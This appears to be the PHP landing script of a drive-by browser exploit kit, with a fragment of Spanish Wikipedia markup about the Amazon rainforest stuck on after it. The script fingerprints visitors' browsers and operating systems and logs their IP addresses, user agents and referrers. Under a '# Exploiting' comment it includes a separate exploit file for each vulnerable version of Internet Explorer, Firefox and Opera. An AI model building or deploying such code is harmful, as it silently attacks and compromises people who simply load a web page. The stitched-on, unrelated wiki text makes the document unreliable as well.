|
<?php
include("config.php");
error_reporting(E_ALL ^ E_NOTICE);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
$uri = getenv("REQUEST_URI");
$user_agent = getenv("HTTP_USER_AGENT");
$ref = substr(getenv("HTTP_REFERER"), 0, 40);
$ip = getenv("REMOTE_ADDR");
$date = date("j-n-Y");
$time = date("H:i:s");
if (strstr($user_agent, "Nav")) $browser = "Netscape";
elseif (strstr($user_agent, "Lynx")) $browser = "Lynx";
elseif (strstr($user_agent, "MSIE 6")) $browser = "MSIE 6";
elseif (strstr($user_agent, "MSIE 7")) $browser = "MSIE 7";
elseif (strstr($user_agent, "Firefox/1")) $browser = "Firefox 1";
elseif (strstr($user_agent, "Firefox/2")) $browser = "Firefox 2";
elseif (strstr($user_agent, "Opera/7")) $browser = "Opera 7";
elseif (strstr($user_agent, "Opera/9")) $browser = "Opera 9";
else $browser = "other";
if (strstr($user_agent, "Windows 95")) $os = "Windows 95";
elseif (strstr($user_agent, "Win 9x 4.9")) $os = "Windows ME";
elseif (strstr($user_agent, "Windows 98")) $os = "Windows 98";
elseif (strstr($user_agent, "Windows NT 5.0")) $os = "Windows 2000";
elseif (strstr($user_agent, "SV1")) $os = "Windows XP SP2";
elseif (strstr($user_agent, "Windows NT 5.1")) $os = "Windows XP SP2";
elseif (strstr($user_agent, "Windows NT 5.2")) $os = "Windows 2003";
elseif (strstr($user_agent, "Windows NT 6.0")) $os = "Windows Vista";
else $os = "other";
//# IP ban
//$ip_ban=getcwd().'/ip_ban.txt';
//$banfile=file($ip_ban);
//$s=0;
//for($i= 0;$i<=count($banfile); $i++) { $ipban=trim($banfile[$i]);
//if ($ip==$ipban) { $s=1;
//$i=count($banfile); }
//} if ($s==1) {
//include("include/header.inc");
//echo("Sorry, your IP blocked".'</BODY></HTML>'); }
//else {
//$t_ban=fopen($ip_ban,"a+b");
//fwrite($t_ban,$ip."\n");
//fclose($t_ban);
# Browser
$fbrow = fopen ("brow.txt", 'r');
flock($fbrow,1);
$brow = fread ($fbrow, filesize("brow.txt"));
flock($fbrow,3);
fclose ($fbrow);
list($ie,$ff,$op)=explode("|",$brow);
if ($browser == "MSIE 6") { $ie++; }
if ($browser == "MSIE 7") { $ie++; }
if ($browser == "Firefox 1") { $ff++; }
if ($browser == "Firefox 2") { $ff++; }
if ($browser == "Opera 7") { $op++; }
if ($browser == "Opera 9") { $op++; }
$wbrow=fopen("brow.txt",'w+');
flock($wbrow,2);
fputs($wbrow,$ie."|".$ff."|".$op);
flock($wbrow,3);
fclose($wbrow);
# Os
$fsos = fopen ("os.txt", 'r');
flock($fsos,1);
$xos = fread ($fsos, filesize("os.txt"));
flock($fsos,3);
fclose($fsos);
list($w95,$wme,$w98,$w2k,$wxp,$w23,$wvs)=explode("|",$xos);
if ($os == "Windows 95") { $w95++; }
if ($os == "Windows ME") { $wme++; }
if ($os == "Windows 98") { $w98++; }
if ($os == "Windows 2000") { $w2k++; }
if ($os == "Windows XP SP2") { $wxp++; }
if ($os == "Windows 2003") { $w23++; }
if ($os == "Windows Vista") { $wvs++; }
$wos=fopen("os.txt",'w+');
flock($wos,2);
fputs($wos,$w95."|".$wme."|".$w98."|".$w2k."|".$wxp."|".$w23."|".$wvs);
flock($wos,3);
fclose($wos);
# Ref
$len=strlen($ref);
if ($len <= 0) {
$ref = "None"; }
$ffile=fopen("ref.db", "a+");
fwrite($ffile, '<TR><TD><NOBR>' . "$ip" . '</NOBR></TD><TD><NOBR>' . "$user_agent" . '</NOBR></TD><TD><NOBR>' . "$ref" . '</NOBR></TD><TD><NOBR>' . "$date " . "$time" . '</NOBR></TD></TR>');
fclose($ffile);
# Exploiting
if ($browser == "MSIE 6") { include("exp/FF5B341AC.php"); }
if ($browser == "MSIE 7") { include("exp/EF57CCF90.php"); }
if ($browser == "Firefox 1") { include("exp/00FAA7CF5.php"); }
if ($browser == "Firefox 2") { include("exp/CCF45A00D.php"); }
if ($browser == "Opera 7") { include("exp/00FAA7CF5.php"); }
if ($browser == "Opera 9") { include("exp/99FFC5BA4.php"); }
# End
//}
?>
{{otros usos|Amazonas}}
[[Imagen:Amazon rainforest.jpg|right|thumb|250px|Mapa de la Selva Amazónica según [[Fondo Mundial para la Naturaleza|WWF]]: la línea amarilla encierra a la Selva Amazónica, mientras que las fronteras nacionales están remarcadas en negro. Imagen satelital de la [[NASA]].]]
| 